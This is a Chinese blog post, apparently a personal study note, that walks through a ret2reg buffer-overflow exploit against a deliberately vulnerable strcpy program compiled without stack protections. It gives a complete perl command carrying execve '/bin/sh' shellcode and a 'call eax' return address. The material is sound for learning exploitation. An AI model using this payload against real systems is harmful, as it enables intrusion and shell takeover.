记一次ret2reg学习

写在前面

IP是指令寄存器,存放当前指令的下一条指令的地址。CPU该执行哪条指令就是通过IP来指示的。而EIP是32位机的指令寄存器。

ret2reg原理

1.查看溢出函返回时哪个寄存值指向溢出缓冲区空间

2.然后反编译二进制,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址

3.reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)

个人认为,这就是开启地址随机化的ret2shellcode

此类漏洞常见于strcpy字符串拷贝函数中。

利用方法

对准EIP

分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址

向寄存器指向的缓冲区中注入shellcode

查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret

实例

本文主要学习于网上该大佬博客https://blog.csdn.net/AcSuccess/article/details/104465113,仅作总结学习,以免忘记。
首先贴下源码和编译

#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
        char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
        evilfunction(argv[1]);
        return 0;
}

开启地址随机化

echo 2 > /proc/sys/kernel/randomize_va_space

编译

gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector

检查保护机制

xiy@ubuntu:~/Desktop$ checksec ret2reg
[*] '/home/xiy/Desktop/ret2reg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

其NX保护未开,可考虑写入shellcode

IDA分析

a2.png

a3.png

程序功能很简单,就是用strcpy拷贝字符串

然后看一手汇编

a4.png

可以看到lea指令,把将[ebp + buffer]的偏移地址送给eax,也就是eax指向了缓冲区
可以看到buffer到esp为0x208,到eip即为0x208+4

ok,看看运行后是否还指向缓冲区

gdb --args ret2reg aaaaaa
b *0x0804842B
r

a5.png

ok,依然指向缓冲区

我们找找call eax 或者 jmp eax指令

ROPgadget --binary ret2reg --only 'call|eax'

Gadgets information
============================================================
0x08048373 : call eax
0x080483ad : call edx

现在可以构造payload了

payload = shellcode + (0x208 + 4 - len(shellcode)) * a + p32(0x8048373)

这里用的是25个字节的shellcode
然后用perl命令发送

./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x73\x83\x04\x08"')

如果后面代码复用了eax,就不能确定其关系,该攻击就无法实现了

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信